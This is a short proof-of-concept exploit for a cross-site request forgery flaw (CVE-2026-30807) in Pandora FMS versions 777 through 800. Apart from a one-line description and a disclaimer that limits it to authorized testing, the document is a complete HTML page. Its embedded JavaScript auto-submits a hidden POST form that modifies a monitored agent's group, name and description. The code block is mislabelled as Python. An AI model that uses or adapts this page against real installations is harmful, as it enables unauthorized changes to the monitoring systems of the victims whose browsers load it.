Cross-Site Request Forgery vulnerability allows an attacker to perform unauthorized actions via crafted web page. This issue affects Pandora FMS: from 777 through 800
The following code is for security research and authorized testing only.
python
<html>
<!-- Proof of Concept for CVE-2026-30807 -->
<!-- This PoC demonstrates a CSRF attack vector against Pandora FMS -->
<body>
<h1>CVE-2026-30807 CSRF PoC</h1>
<p>Attempting to perform unauthorized action...</p>
<script>
// Target URL where the vulnerability exists (Example endpoint)
var targetUrl = "http://target-pandorafms-url/index.php?sec=workspace&sec2=operation/agentes/ver_agente&update_agent";
// Parameters to be sent in the request
var params = "id_group=1&nombre=MaliciousUpdate&descripcion=CSRF_PoC";
// Create a form to submit the POST request
var form = document.createElement('form');
form.action = targetUrl;
form.method = 'POST';
// Split parameters and add to form
var paramList = params.split('&');
for (var i = 0; i < paramList.length; i++) {
var pair = paramList[i].split('=');
var input = document.createElement('input');
input.type = 'hidden';
input.name = pair[0];
input.value = pair[1];
form.appendChild(input);
}
// Append form and auto-submit
document.body.appendChild(form);
form.submit();
</script>
</body>
</html>